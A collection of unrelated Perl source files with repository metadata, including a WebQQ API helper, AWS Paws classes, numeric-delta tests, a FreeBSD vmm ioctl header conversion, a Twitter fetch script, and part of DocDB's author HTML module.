lib/Mojo/Webqq/Model/Remote/_get_friend_info.pm
XoXOoOToT/Mojo-Webqq
11ea2bf4cfd2601c82a453887d5c7c61f5334340
[ "BSD-2-Clause" ]
null
null
null
lib/Mojo/Webqq/Model/Remote/_get_friend_info.pm
XoXOoOToT/Mojo-Webqq
11ea2bf4cfd2601c82a453887d5c7c61f5334340
[ "BSD-2-Clause" ]
2
2019-01-02T09:20:03.000Z
2021-09-17T06:59:20.000Z
use strict; sub Mojo::Webqq::Model::_get_friend_info{ my $self = shift; my $uin = shift; my $callback = shift; my $api_url = 'http://s.web2.qq.com/api/get_friend_info2'; my $headers = { Referer=>'http://s.web2.qq.com/proxy.html?v=20130916001&callback=1&id=1', json=>1, ua_request_timeout=> $self->model_update_timeout, ua_retry_times => 3, }; my @query_string = ( tuin => $uin, vfwebqq => $self->vfwebqq, clientid => $self->clientid, psessionid => $self->psessionid, t => time, ); my $is_blocking = ref $callback eq "CODE"?0:1; my $handle = sub{ my $json = shift; return undef unless defined $json; return undef if $json->{retcode} !=0; my $friend_info = $json->{result}; $friend_info->{birthday} = join("-",@{ $friend_info->{birthday}}{qw(year month day)} ); $friend_info{state} = $self->code2state(delete $friend_info->{'stat'}); $friend_info->{id} = delete $friend_info->{uin}; $friend_info->{name} = $friend_info->{nick}; return $friend_info; }; if($is_blocking){ return $hande->( $self->http_get($self->gen_url($api_url,@query_string),$headers,) ); } else{ $self->http_get($self->gen_url($api_url,@query_string),$headers,sub{ my $json = shift; $callback->( $handle->($json) ); }); } } 1;
34.045455
96
0.540053
73f5ae40d31b2ad72566ff721bcc5e5fadc8fcd2
1,642
pm
Perl
auto-lib/Paws/IoTAnalytics/SqlQueryDatasetAction.pm
meis/aws-sdk-perl
6d61ffcf351e446f06d7e84e53caa08d98573959
[ "Apache-2.0" ]
null
null
null
auto-lib/Paws/IoTAnalytics/SqlQueryDatasetAction.pm
meis/aws-sdk-perl
6d61ffcf351e446f06d7e84e53caa08d98573959
[ "Apache-2.0" ]
1
2021-05-26T19:13:58.000Z
2021-05-26T19:13:58.000Z
auto-lib/Paws/IoTAnalytics/SqlQueryDatasetAction.pm
meis/aws-sdk-perl
6d61ffcf351e446f06d7e84e53caa08d98573959
[ "Apache-2.0" ]
null
null
null
package Paws::IoTAnalytics::SqlQueryDatasetAction; use Moose; has Filters => (is => 'ro', isa => 'ArrayRef[Paws::IoTAnalytics::QueryFilter]', request_name => 'filters', traits => ['NameInRequest']); has SqlQuery => (is => 'ro', isa => 'Str', request_name => 'sqlQuery', traits => ['NameInRequest'], required => 1); 1; ### main pod documentation begin ### =head1 NAME Paws::IoTAnalytics::SqlQueryDatasetAction =head1 USAGE This class represents one of two things: =head3 Arguments in a call to a service Use the attributes of this class as arguments to methods. You shouldn't make instances of this class. Each attribute should be used as a named argument in the calls that expect this type of object. As an example, if Att1 is expected to be a Paws::IoTAnalytics::SqlQueryDatasetAction object: $service_obj->Method(Att1 => { Filters => $value, ..., SqlQuery => $value }); =head3 Results returned from an API call Use accessors for each attribute. If Att1 is expected to be an Paws::IoTAnalytics::SqlQueryDatasetAction object: $result = $service_obj->Method(...); $result->Att1->Filters =head1 DESCRIPTION The SQL query to modify the message. =head1 ATTRIBUTES =head2 Filters => ArrayRef[L<Paws::IoTAnalytics::QueryFilter>] Pre-filters applied to message data. =head2 B<REQUIRED> SqlQuery => Str A SQL query string. =head1 SEE ALSO This class forms part of L<Paws>, describing an object used in L<Paws::IoTAnalytics> =head1 BUGS and CONTRIBUTIONS The source code is located here: L<https://github.com/pplu/aws-sdk-perl> Please report bugs to: L<https://github.com/pplu/aws-sdk-perl/issues> =cut
26.063492
138
0.727771
ed09754464c78524e65f17d576b5ed3472cf5a84
135
t
Perl
t/06-output.t
tbrowder/Raku-Doc-TypeGraph
ec74697600b410a01f483723278cf9b437b667ab
[ "Artistic-2.0" ]
null
null
null
t/06-output.t
tbrowder/Raku-Doc-TypeGraph
ec74697600b410a01f483723278cf9b437b667ab
[ "Artistic-2.0" ]
22
2019-06-02T14:12:23.000Z
2021-06-05T06:27:02.000Z
t/06-output.t
tbrowder/Raku-Doc-TypeGraph
ec74697600b410a01f483723278cf9b437b667ab
[ "Artistic-2.0" ]
2
2019-06-02T16:02:14.000Z
2019-06-07T15:32:57.000Z
use Test; use Doc::TypeGraph; plan 1; my $tg = Doc::TypeGraph.new-from-file; ok $tg.gist, "TypeGraph can be printed"; done-testing;
13.5
40
0.696296
ed383b7e7b6b50310d393608f2dd3224e60805f4
9,529
ph
Perl
usr/local/lib/perl5/site_perl/mach/5.20/machine/vmm_dev.ph
skarekrow/testrepo
af979b718aae49a2301c400964a603cf010a3c51
[ "BSD-3-Clause" ]
null
null
null
usr/local/lib/perl5/site_perl/mach/5.20/machine/vmm_dev.ph
skarekrow/testrepo
af979b718aae49a2301c400964a603cf010a3c51
[ "BSD-3-Clause" ]
null
null
null
usr/local/lib/perl5/site_perl/mach/5.20/machine/vmm_dev.ph
skarekrow/testrepo
af979b718aae49a2301c400964a603cf010a3c51
[ "BSD-3-Clause" ]
null
null
null
require '_h2ph_pre.ph'; no warnings qw(redefine misc); unless(defined(&_VMM_DEV_H_)) { eval 'sub _VMM_DEV_H_ () {1;}' unless defined(&_VMM_DEV_H_); if(defined(&_KERNEL)) { } eval 'sub MAX_VM_STATS () {64;}' unless defined(&MAX_VM_STATS); eval 'sub VM_ACTIVE_CPUS () {0;}' unless defined(&VM_ACTIVE_CPUS); eval 'sub VM_SUSPENDED_CPUS () {1;}' unless defined(&VM_SUSPENDED_CPUS); eval("sub IOCNUM_ABIVERS () { 0; }") unless defined(&IOCNUM_ABIVERS); eval("sub IOCNUM_RUN () { 1; }") unless defined(&IOCNUM_RUN); eval("sub IOCNUM_SET_CAPABILITY () { 2; }") unless defined(&IOCNUM_SET_CAPABILITY); eval("sub IOCNUM_GET_CAPABILITY () { 3; }") unless defined(&IOCNUM_GET_CAPABILITY); eval("sub IOCNUM_SUSPEND () { 4; }") unless defined(&IOCNUM_SUSPEND); eval("sub IOCNUM_REINIT () { 5; }") unless defined(&IOCNUM_REINIT); eval("sub IOCNUM_MAP_MEMORY () { 10; }") unless defined(&IOCNUM_MAP_MEMORY); eval("sub IOCNUM_GET_MEMORY_SEG () { 11; }") unless defined(&IOCNUM_GET_MEMORY_SEG); eval("sub IOCNUM_GET_GPA_PMAP () { 12; }") unless defined(&IOCNUM_GET_GPA_PMAP); eval("sub IOCNUM_GLA2GPA () { 13; }") unless defined(&IOCNUM_GLA2GPA); eval("sub IOCNUM_SET_REGISTER () { 20; }") unless defined(&IOCNUM_SET_REGISTER); eval("sub IOCNUM_GET_REGISTER () { 21; }") unless defined(&IOCNUM_GET_REGISTER); eval("sub IOCNUM_SET_SEGMENT_DESCRIPTOR () { 22; }") unless defined(&IOCNUM_SET_SEGMENT_DESCRIPTOR); eval("sub IOCNUM_GET_SEGMENT_DESCRIPTOR () { 23; }") unless defined(&IOCNUM_GET_SEGMENT_DESCRIPTOR); eval("sub IOCNUM_GET_INTINFO () { 28; }") unless defined(&IOCNUM_GET_INTINFO); eval("sub IOCNUM_SET_INTINFO () { 29; }") unless defined(&IOCNUM_SET_INTINFO); eval("sub IOCNUM_INJECT_EXCEPTION () { 30; }") unless defined(&IOCNUM_INJECT_EXCEPTION); eval("sub IOCNUM_LAPIC_IRQ () { 31; }") unless defined(&IOCNUM_LAPIC_IRQ); eval("sub IOCNUM_INJECT_NMI () { 32; }") unless defined(&IOCNUM_INJECT_NMI); eval("sub IOCNUM_IOAPIC_ASSERT_IRQ () { 33; }") unless defined(&IOCNUM_IOAPIC_ASSERT_IRQ); eval("sub IOCNUM_IOAPIC_DEASSERT_IRQ () { 34; }") unless defined(&IOCNUM_IOAPIC_DEASSERT_IRQ); eval("sub IOCNUM_IOAPIC_PULSE_IRQ () { 35; }") unless defined(&IOCNUM_IOAPIC_PULSE_IRQ); eval("sub IOCNUM_LAPIC_MSI () { 36; }") unless defined(&IOCNUM_LAPIC_MSI); eval("sub IOCNUM_LAPIC_LOCAL_IRQ () { 37; }") unless defined(&IOCNUM_LAPIC_LOCAL_IRQ); eval("sub IOCNUM_IOAPIC_PINCOUNT () { 38; }") unless defined(&IOCNUM_IOAPIC_PINCOUNT); eval("sub IOCNUM_BIND_PPTDEV () { 40; }") unless defined(&IOCNUM_BIND_PPTDEV); eval("sub IOCNUM_UNBIND_PPTDEV () { 41; }") unless defined(&IOCNUM_UNBIND_PPTDEV); eval("sub IOCNUM_MAP_PPTDEV_MMIO () { 42; }") unless defined(&IOCNUM_MAP_PPTDEV_MMIO); eval("sub IOCNUM_PPTDEV_MSI () { 43; }") unless defined(&IOCNUM_PPTDEV_MSI); eval("sub IOCNUM_PPTDEV_MSIX () { 44; }") unless defined(&IOCNUM_PPTDEV_MSIX); eval("sub IOCNUM_VM_STATS () { 50; }") unless defined(&IOCNUM_VM_STATS); eval("sub IOCNUM_VM_STAT_DESC () { 51; }") unless defined(&IOCNUM_VM_STAT_DESC); eval("sub IOCNUM_SET_X2APIC_STATE () { 60; }") unless defined(&IOCNUM_SET_X2APIC_STATE); eval("sub IOCNUM_GET_X2APIC_STATE () { 61; }") unless defined(&IOCNUM_GET_X2APIC_STATE); eval("sub IOCNUM_GET_HPET_CAPABILITIES () { 62; }") unless defined(&IOCNUM_GET_HPET_CAPABILITIES); eval("sub IOCNUM_ISA_ASSERT_IRQ () { 80; }") unless defined(&IOCNUM_ISA_ASSERT_IRQ); eval("sub IOCNUM_ISA_DEASSERT_IRQ () { 81; }") unless defined(&IOCNUM_ISA_DEASSERT_IRQ); eval("sub IOCNUM_ISA_PULSE_IRQ () { 82; }") unless defined(&IOCNUM_ISA_PULSE_IRQ); eval("sub IOCNUM_ISA_SET_IRQ_TRIGGER () { 83; }") unless defined(&IOCNUM_ISA_SET_IRQ_TRIGGER); eval("sub IOCNUM_ACTIVATE_CPU () { 90; }") unless defined(&IOCNUM_ACTIVATE_CPU); eval("sub IOCNUM_GET_CPUSET () { 91; }") unless defined(&IOCNUM_GET_CPUSET); eval 'sub VM_RUN () { &_IOWR(ord(\'v\'), &IOCNUM_RUN, \'struct vm_run\');}' unless defined(&VM_RUN); eval 'sub VM_SUSPEND () { &_IOW(ord(\'v\'), &IOCNUM_SUSPEND, \'struct vm_suspend\');}' unless defined(&VM_SUSPEND); eval 'sub VM_REINIT () { &_IO(ord(\'v\'), &IOCNUM_REINIT);}' unless defined(&VM_REINIT); eval 'sub VM_MAP_MEMORY () { &_IOWR(ord(\'v\'), &IOCNUM_MAP_MEMORY, \'struct vm_memory_segment\');}' unless defined(&VM_MAP_MEMORY); eval 'sub VM_GET_MEMORY_SEG () { &_IOWR(ord(\'v\'), &IOCNUM_GET_MEMORY_SEG, \'struct vm_memory_segment\');}' unless defined(&VM_GET_MEMORY_SEG); eval 'sub VM_SET_REGISTER () { &_IOW(ord(\'v\'), &IOCNUM_SET_REGISTER, \'struct vm_register\');}' unless defined(&VM_SET_REGISTER); eval 'sub VM_GET_REGISTER () { &_IOWR(ord(\'v\'), &IOCNUM_GET_REGISTER, \'struct vm_register\');}' unless defined(&VM_GET_REGISTER); eval 'sub VM_SET_SEGMENT_DESCRIPTOR () { &_IOW(ord(\'v\'), &IOCNUM_SET_SEGMENT_DESCRIPTOR, \'struct vm_seg_desc\');}' unless defined(&VM_SET_SEGMENT_DESCRIPTOR); eval 'sub VM_GET_SEGMENT_DESCRIPTOR () { &_IOWR(ord(\'v\'), &IOCNUM_GET_SEGMENT_DESCRIPTOR, \'struct vm_seg_desc\');}' unless defined(&VM_GET_SEGMENT_DESCRIPTOR); eval 'sub VM_INJECT_EXCEPTION () { &_IOW(ord(\'v\'), &IOCNUM_INJECT_EXCEPTION, \'struct vm_exception\');}' unless defined(&VM_INJECT_EXCEPTION); eval 'sub VM_LAPIC_IRQ () { &_IOW(ord(\'v\'), &IOCNUM_LAPIC_IRQ, \'struct vm_lapic_irq\');}' unless defined(&VM_LAPIC_IRQ); eval 'sub VM_LAPIC_LOCAL_IRQ () { &_IOW(ord(\'v\'), &IOCNUM_LAPIC_LOCAL_IRQ, \'struct vm_lapic_irq\');}' unless defined(&VM_LAPIC_LOCAL_IRQ); eval 'sub VM_LAPIC_MSI () { &_IOW(ord(\'v\'), &IOCNUM_LAPIC_MSI, \'struct vm_lapic_msi\');}' unless defined(&VM_LAPIC_MSI); eval 'sub VM_IOAPIC_ASSERT_IRQ () { &_IOW(ord(\'v\'), &IOCNUM_IOAPIC_ASSERT_IRQ, \'struct vm_ioapic_irq\');}' unless defined(&VM_IOAPIC_ASSERT_IRQ); eval 'sub VM_IOAPIC_DEASSERT_IRQ () { &_IOW(ord(\'v\'), &IOCNUM_IOAPIC_DEASSERT_IRQ, \'struct vm_ioapic_irq\');}' unless defined(&VM_IOAPIC_DEASSERT_IRQ); eval 'sub VM_IOAPIC_PULSE_IRQ () { &_IOW(ord(\'v\'), &IOCNUM_IOAPIC_PULSE_IRQ, \'struct vm_ioapic_irq\');}' unless defined(&VM_IOAPIC_PULSE_IRQ); eval 'sub VM_IOAPIC_PINCOUNT () { &_IOR(ord(\'v\'), &IOCNUM_IOAPIC_PINCOUNT, \'int\');}' unless defined(&VM_IOAPIC_PINCOUNT); eval 'sub VM_ISA_ASSERT_IRQ () { &_IOW(ord(\'v\'), &IOCNUM_ISA_ASSERT_IRQ, \'struct vm_isa_irq\');}' unless defined(&VM_ISA_ASSERT_IRQ); eval 'sub VM_ISA_DEASSERT_IRQ () { &_IOW(ord(\'v\'), &IOCNUM_ISA_DEASSERT_IRQ, \'struct vm_isa_irq\');}' unless defined(&VM_ISA_DEASSERT_IRQ); eval 'sub VM_ISA_PULSE_IRQ () { &_IOW(ord(\'v\'), &IOCNUM_ISA_PULSE_IRQ, \'struct vm_isa_irq\');}' unless defined(&VM_ISA_PULSE_IRQ); eval 'sub VM_ISA_SET_IRQ_TRIGGER () { &_IOW(ord(\'v\'), &IOCNUM_ISA_SET_IRQ_TRIGGER, \'struct vm_isa_irq_trigger\');}' unless defined(&VM_ISA_SET_IRQ_TRIGGER); eval 'sub VM_SET_CAPABILITY () { &_IOW(ord(\'v\'), &IOCNUM_SET_CAPABILITY, \'struct vm_capability\');}' unless defined(&VM_SET_CAPABILITY); eval 'sub VM_GET_CAPABILITY () { &_IOWR(ord(\'v\'), &IOCNUM_GET_CAPABILITY, \'struct vm_capability\');}' unless defined(&VM_GET_CAPABILITY); eval 'sub VM_BIND_PPTDEV () { &_IOW(ord(\'v\'), &IOCNUM_BIND_PPTDEV, \'struct vm_pptdev\');}' unless defined(&VM_BIND_PPTDEV); eval 'sub VM_UNBIND_PPTDEV () { &_IOW(ord(\'v\'), &IOCNUM_UNBIND_PPTDEV, \'struct vm_pptdev\');}' unless defined(&VM_UNBIND_PPTDEV); eval 'sub VM_MAP_PPTDEV_MMIO () { &_IOW(ord(\'v\'), &IOCNUM_MAP_PPTDEV_MMIO, \'struct vm_pptdev_mmio\');}' unless defined(&VM_MAP_PPTDEV_MMIO); eval 'sub VM_PPTDEV_MSI () { &_IOW(ord(\'v\'), &IOCNUM_PPTDEV_MSI, \'struct vm_pptdev_msi\');}' unless defined(&VM_PPTDEV_MSI); eval 'sub VM_PPTDEV_MSIX () { &_IOW(ord(\'v\'), &IOCNUM_PPTDEV_MSIX, \'struct vm_pptdev_msix\');}' unless defined(&VM_PPTDEV_MSIX); eval 'sub VM_INJECT_NMI () { &_IOW(ord(\'v\'), &IOCNUM_INJECT_NMI, \'struct vm_nmi\');}' unless defined(&VM_INJECT_NMI); eval 'sub VM_STATS () { &_IOWR(ord(\'v\'), &IOCNUM_VM_STATS, \'struct vm_stats\');}' unless defined(&VM_STATS); eval 'sub VM_STAT_DESC () { &_IOWR(ord(\'v\'), &IOCNUM_VM_STAT_DESC, \'struct vm_stat_desc\');}' unless defined(&VM_STAT_DESC); eval 'sub VM_SET_X2APIC_STATE () { &_IOW(ord(\'v\'), &IOCNUM_SET_X2APIC_STATE, \'struct vm_x2apic\');}' unless defined(&VM_SET_X2APIC_STATE); eval 'sub VM_GET_X2APIC_STATE () { &_IOWR(ord(\'v\'), &IOCNUM_GET_X2APIC_STATE, \'struct vm_x2apic\');}' unless defined(&VM_GET_X2APIC_STATE); eval 'sub VM_GET_HPET_CAPABILITIES () { &_IOR(ord(\'v\'), &IOCNUM_GET_HPET_CAPABILITIES, \'struct vm_hpet_cap\');}' unless defined(&VM_GET_HPET_CAPABILITIES); eval 'sub VM_GET_GPA_PMAP () { &_IOWR(ord(\'v\'), &IOCNUM_GET_GPA_PMAP, \'struct vm_gpa_pte\');}' unless defined(&VM_GET_GPA_PMAP); eval 'sub VM_GLA2GPA () { &_IOWR(ord(\'v\'), &IOCNUM_GLA2GPA, \'struct vm_gla2gpa\');}' unless defined(&VM_GLA2GPA); eval 'sub VM_ACTIVATE_CPU () { &_IOW(ord(\'v\'), &IOCNUM_ACTIVATE_CPU, \'struct vm_activate_cpu\');}' unless defined(&VM_ACTIVATE_CPU); eval 'sub VM_GET_CPUS () { &_IOW(ord(\'v\'), &IOCNUM_GET_CPUSET, \'struct vm_cpuset\');}' unless defined(&VM_GET_CPUS); eval 'sub VM_SET_INTINFO () { &_IOW(ord(\'v\'), &IOCNUM_SET_INTINFO, \'struct vm_intinfo\');}' unless defined(&VM_SET_INTINFO); eval 'sub VM_GET_INTINFO () { &_IOWR(ord(\'v\'), &IOCNUM_GET_INTINFO, \'struct vm_intinfo\');}' unless defined(&VM_GET_INTINFO); } 1;
100.305263
167
0.698814
ed52896498bf40b4e0c749e74550a1116ae7bde6
2,419
t
Perl
t/04-specify_relative.t
gitpan/Test-Number-Delta
edd9b386b6f0503cc6f41939ecb88e6e8e9b044b
[ "Apache-2.0" ]
null
null
null
t/04-specify_relative.t
gitpan/Test-Number-Delta
edd9b386b6f0503cc6f41939ecb88e6e8e9b044b
[ "Apache-2.0" ]
null
null
null
t/04-specify_relative.t
gitpan/Test-Number-Delta
edd9b386b6f0503cc6f41939ecb88e6e8e9b044b
[ "Apache-2.0" ]
null
null
null
use strict; use Test::Builder::Tester tests => 16; use Test::Number::Delta relative => 1e-2; #--------------------------------------------------------------------------# # delta_ok #--------------------------------------------------------------------------# test_out("not ok 1 - foo"); test_fail(+2); test_diag("0.001000 and 0.000980 are not equal to within 0.00001"); delta_ok( 1e-3, 9.8e-4, "foo" ); test_test("delta_ok fail works"); test_out("not ok 1 - foo"); test_fail(+2); test_diag("-50.00 and -49.40 are not equal to within 0.5"); delta_ok( -50, -49.4, "foo" ); test_test("delta_ok fail works"); test_out("not ok 1 - foo"); test_fail(+2); test_diag("At [0]: -50.00 and -49.40 are not equal to within 0.5"); delta_ok( [-50], [-49.4], "foo" ); test_test("delta_ok fail works"); test_out("ok 1 - foo"); delta_ok( 10e-5, 9.91e-5, "foo" ); test_test("delta_ok works"); test_out("ok 1 - foo"); delta_ok( -9.91e-5, -10e-5, "foo" ); test_test("delta_ok works"); test_out("ok 1 - foo"); delta_ok( 1.01, 1.0099, "foo" ); test_test("delta_ok works"); test_out("ok 1 - foo"); delta_ok( -100, -99.1, "foo" ); test_test("delta_ok works"); test_out("ok 1 - foo"); delta_ok( 0, 0, "foo" ); test_test("delta_ok works"); test_out("ok 1 - foo"); delta_ok( [0], [0], "foo" ); test_test("delta_ok works"); #--------------------------------------------------------------------------# # delta_not_ok #--------------------------------------------------------------------------# test_out("not ok 1 - foo"); test_fail(+2); test_diag("Arguments are equal to within relative tolerance 0.01"); delta_not_ok( 1e-3, 9.91e-4, "foo" ); test_test("delta_not_ok fail works"); test_out("not ok 1 - foo"); test_fail(+2); test_diag("Arguments are equal to within relative tolerance 0.01"); delta_not_ok( -50, -49.6, "foo" ); test_test("delta_no_ok fail works"); test_out("not ok 1 - foo"); test_fail(+2); test_diag("Arguments are equal to within relative tolerance 0.01"); delta_not_ok( [-50], [-49.6], "foo" ); test_test("delta_no_ok fail works"); test_out("ok 1 - foo"); delta_not_ok( 10e-5, 9.89e-5, "foo" ); test_test("delta_not_ok works"); test_out("ok 1 - foo"); delta_not_ok( -9.89e-5, -10e-5, "foo" ); test_test("delta_not_ok works"); test_out("ok 1 - foo"); delta_not_ok( 1.01, 0.99, "foo" ); test_test("delta_not_ok works"); test_out("ok 1 - foo"); delta_not_ok( -100, -98.1, "foo" ); test_test("delta_not_ok works");
26.877778
76
0.575444
ed52d9fe60b2cca2bb3f1619b01d710fe58fdda9
525
pm
Perl
auto-lib/Paws/Kinesis/DescribeLimitsOutput.pm
0leksii/aws-sdk-perl
b2132fe3c79a06fd15b6137e8a0eb628de722e0f
[ "Apache-2.0" ]
164
2015-01-08T14:58:53.000Z
2022-02-20T19:16:24.000Z
auto-lib/Paws/Kinesis/DescribeLimitsOutput.pm
0leksii/aws-sdk-perl
b2132fe3c79a06fd15b6137e8a0eb628de722e0f
[ "Apache-2.0" ]
348
2015-01-07T22:08:38.000Z
2022-01-27T14:34:44.000Z
auto-lib/Paws/Kinesis/DescribeLimitsOutput.pm
0leksii/aws-sdk-perl
b2132fe3c79a06fd15b6137e8a0eb628de722e0f
[ "Apache-2.0" ]
87
2015-04-22T06:29:47.000Z
2021-09-29T14:45:55.000Z
package Paws::Kinesis::DescribeLimitsOutput; use Moose; has OpenShardCount => (is => 'ro', isa => 'Int', required => 1); has ShardLimit => (is => 'ro', isa => 'Int', required => 1); has _request_id => (is => 'ro', isa => 'Str'); ### main pod documentation begin ### =head1 NAME Paws::Kinesis::DescribeLimitsOutput =head1 ATTRIBUTES =head2 B<REQUIRED> OpenShardCount => Int The number of open shards. =head2 B<REQUIRED> ShardLimit => Int The maximum number of shards. =head2 _request_id => Str =cut 1;
15.909091
66
0.655238
ed3556ec84aaee47e0d7b8137698240c71053cf3
572
pl
Perl
bin/fetch.pl
yannk/loudtwitter
1ffd9b5e0172b784fcdf04b40653af914d488705
[ "BSD-2-Clause-FreeBSD" ]
1
2015-11-05T07:16:49.000Z
2015-11-05T07:16:49.000Z
bin/fetch.pl
yannk/loudtwitter
1ffd9b5e0172b784fcdf04b40653af914d488705
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
bin/fetch.pl
yannk/loudtwitter
1ffd9b5e0172b784fcdf04b40653af914d488705
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
#!/usr/bin/perl use strict; use warnings; use lib 'lib'; use lib 'dev-local-lib'; use Twittary::Fetcher; use YAML; use Getopt::Long; my %opts; GetOptions( "twitter_name=s" => \$opts{twitter_name}, "since=s" => \$opts{since}, "count=i" => \$opts{count}, "since_id=i" => \$opts{since_id}, "continue" => \$opts{continue}, "field=s" => \$opts{field}, ); my $tweets = Twittary::Fetcher->get_since(%opts); if ($opts{field}) { print "$_\n" for map { $_->{ $opts{field} } } @$tweets; } else { print Dump $tweets; }
21.185185
59
0.559441
ed5097915fd56fb6a9d685648fd398faf7305a21
32
t
Perl
tt/034-basics-ind-mixmore.t
benkb/pac
1d898a091b1e4f5ad81d438c185905f31e189946
[ "MIT" ]
null
null
null
tt/034-basics-ind-mixmore.t
benkb/pac
1d898a091b1e4f5ad81d438c185905f31e189946
[ "MIT" ]
null
null
null
tt/034-basics-ind-mixmore.t
benkb/pac
1d898a091b1e4f5ad81d438c185905f31e189946
[ "MIT" ]
null
null
null
bing bang duch tish x
6.4
9
0.53125
ed55bc0891ee128b8cde9d532d4b503b6d756452
15,188
pm
Perl
DocDB/cgi/AuthorHTML.pm
brianv0/DocDB
4e5b406f9385862fb8f236fed1ecfa04c6ae663c
[ "Naumen", "Condor-1.1", "MS-PL" ]
19
2016-03-10T14:28:38.000Z
2022-03-14T03:27:16.000Z
DocDB/cgi/AuthorHTML.pm
brianv0/DocDB
4e5b406f9385862fb8f236fed1ecfa04c6ae663c
[ "Naumen", "Condor-1.1", "MS-PL" ]
68
2016-01-20T16:35:06.000Z
2021-12-29T15:24:31.000Z
DocDB/cgi/AuthorHTML.pm
brianv0/DocDB
4e5b406f9385862fb8f236fed1ecfa04c6ae663c
[ "Naumen", "Condor-1.1", "MS-PL" ]
13
2015-02-08T02:19:54.000Z
2022-02-18T12:05:47.000Z
# Name: AuthorHTML.pm # Description: Routines to create HTML elements for authors and institutions # # Author: Eric Vaandering (ewv@fnal.gov) # Modified: Eric Vaandering (ewv@fnal.gov) # Copyright 2001-2018 Eric Vaandering, Lynn Garren, Adam Bryant # This file is part of DocDB. # DocDB is free software; you can redistribute it and/or modify # it under the terms of version 2 of the GNU General Public License # as published by the Free Software Foundation. # DocDB is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with DocDB; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA require "HTMLUtilities.pm"; sub FirstAuthor ($;$) { my ($DocRevID,$ArgRef) = @_; my $Institution = exists $ArgRef->{-institution} ? $ArgRef->{-institution} : $FALSE; require "AuthorSQL.pm"; require "AuthorUtilities.pm"; require "Sorts.pm"; FetchDocRevisionByID($DocRevID); my $FirstID = FirstAuthorID( {-docrevid => $DocRevID} ); unless ($FirstID) {return "None";} my @AuthorRevIDs = GetRevisionAuthors($DocRevID); my $AuthorLink = AuthorLink($FirstID); if ($#AuthorRevIDs) {$AuthorLink .= " <i>et al.</i>";} if ($Institution) { FetchInstitution($Authors{$FirstID}{InstitutionID}); $AuthorLink .= "<br/><em>". SmartHTML({-text=>$Institutions{$Authors{$FirstID}{InstitutionID}}{SHORT}}). "</em>"; } return $AuthorLink; } sub AuthorListByAuthorRevID { my ($ArgRef) = @_; my @AuthorRevIDs = exists $ArgRef->{-authorrevids} ? @{$ArgRef->{-authorrevids}} : (); my $Format = exists $ArgRef->{-format} ? $ArgRef->{-format} : "long"; # my $ListFormat = exists $ArgRef->{-listformat} ? $ArgRef->{-listformat} : "dl"; # my $ListElement = exists $ArgRef->{-listelement} ? $ArgRef->{-listelement} : "short"; # my $LinkType = exists $ArgRef->{-linktype} ? $ArgRef->{-linktype} : "document"; # my $SortBy = exists $ArgRef->{-sortby} ? $ArgRef->{-sortby} : ""; require "AuthorUtilities.pm"; require "Sorts.pm"; @AuthorRevIDs = sort AuthorRevIDsByOrder @AuthorRevIDs; my @AuthorIDs = AuthorRevIDsToAuthorIDs({ -authorrevids => \@AuthorRevIDs, }); my $HTML; if ($Format eq "long") { $HTML = AuthorListByID({ -listformat => "dl", -authorids => \@AuthorIDs }); } elsif ($Format eq "short") { $HTML = AuthorListByID({ -listformat => "br", -authorids => \@AuthorIDs }); } print $HTML; } sub AuthorListByID { my ($ArgRef) = @_; my @AuthorIDs = exists $ArgRef->{-authorids} ? @{$ArgRef->{-authorids}} : (); my $ListFormat = exists $ArgRef->{-listformat} ? $ArgRef->{-listformat} : "dl"; # my $ListElement = exists $ArgRef->{-listelement} ? $ArgRef->{-listelement} : "short"; my $LinkType = exists $ArgRef->{-linktype} ? $ArgRef->{-linktype} : "document"; my $SortBy = exists $ArgRef->{-sortby} ? $ArgRef->{-sortby} : ""; require "AuthorSQL.pm"; require "Sorts.pm"; foreach my $AuthorID (@AuthorIDs) { FetchAuthor($AuthorID); } if ($SortBy eq "name") { @AuthorIDs = sort byLastName @AuthorIDs; } my ($HTML,$StartHTML,$EndHTML,$StartElement,$EndElement,$StartList,$EndList,$NoneText); if ($ListFormat eq "dl") { $StartHTML .= '<div id="Authors"><dl>'; $StartHTML .= '<dt class="InfoHeader"><span class="InfoHeader">Authors:</span></dt>'; $StartHTML .= '</dl>'; $EndHTML = '</div>'; $StartList = '<ul>'; $EndList = '</ul>'; $StartElement = '<li>'; $EndElement = '</li>'; $NoneText = '<div id="Authors"><dl><dt class="InfoHeader"><span class="InfoHeader">Authors:</span></dt>None<br/></dl>'; } else { #$ListFormat eq "br" $StartHTML = '<div>'; $EndHTML = '</div>'; $EndElement = '<br/>'; $NoneText = 'None<br/>'; } if (@AuthorIDs) { $HTML .= $StartHTML; $HTML .= $StartList; foreach my $AuthorID (@AuthorIDs) { $HTML .= $StartElement.AuthorLink($AuthorID,-type => $LinkType).$EndElement; } $HTML .= $EndList; } else { $HTML = $NoneText; } $HTML .= $EndHTML; return PrettyHTML($HTML); } sub RequesterByID { my ($RequesterID) = @_; my $AuthorLink = &AuthorLink($RequesterID); print "<dt>Submitted by:</dt>\n"; print "<dd>$AuthorLink</dd>\n"; } sub SubmitterByID { my ($RequesterID) = @_; my $AuthorLink = &AuthorLink($RequesterID); print "<dt>Updated by:</dt>\n"; print "<dd>$AuthorLink</dd>\n"; } sub AuthorLink ($;%) { require "AuthorSQL.pm"; my ($AuthorID,%Params) = @_; my $Format = $Params{-format} || "full"; # full, formal my $Type = $Params{-type} || "document"; # document, event my $OldDocs = $Params{-olddocs} || ""; FetchAuthor($AuthorID); FetchInstitution($Authors{$AuthorID}{InstitutionID}); my $InstitutionName = $Institutions{$Authors{$AuthorID}{InstitutionID}}{LONG}; $InstitutionName = SmartHTML( {-text => $InstitutionName,} ); unless ($Authors{$AuthorID}{FULLNAME}) { return "Unknown"; } my $Script; if ($Type eq "event") { $Script = $ListEventsBy; } else { $Script = $ListBy; } my $Link; if ($OldDocs) { $Link = "<a href=\"$Script?authorid=$AuthorID&amp;old=1\" title=\"$InstitutionName\">"; } else { $Link = "<a href=\"$Script?authorid=$AuthorID\" title=\"$InstitutionName\">"; } if ($Format eq "full") { $Link .= SmartHTML( {-text => $Authors{$AuthorID}{FULLNAME}, } ); } elsif ($Format eq "formal") { $Link .= SmartHTML( {-text => $Authors{$AuthorID}{Formal}, } ); } $Link .= "</a>"; return $Link; } sub 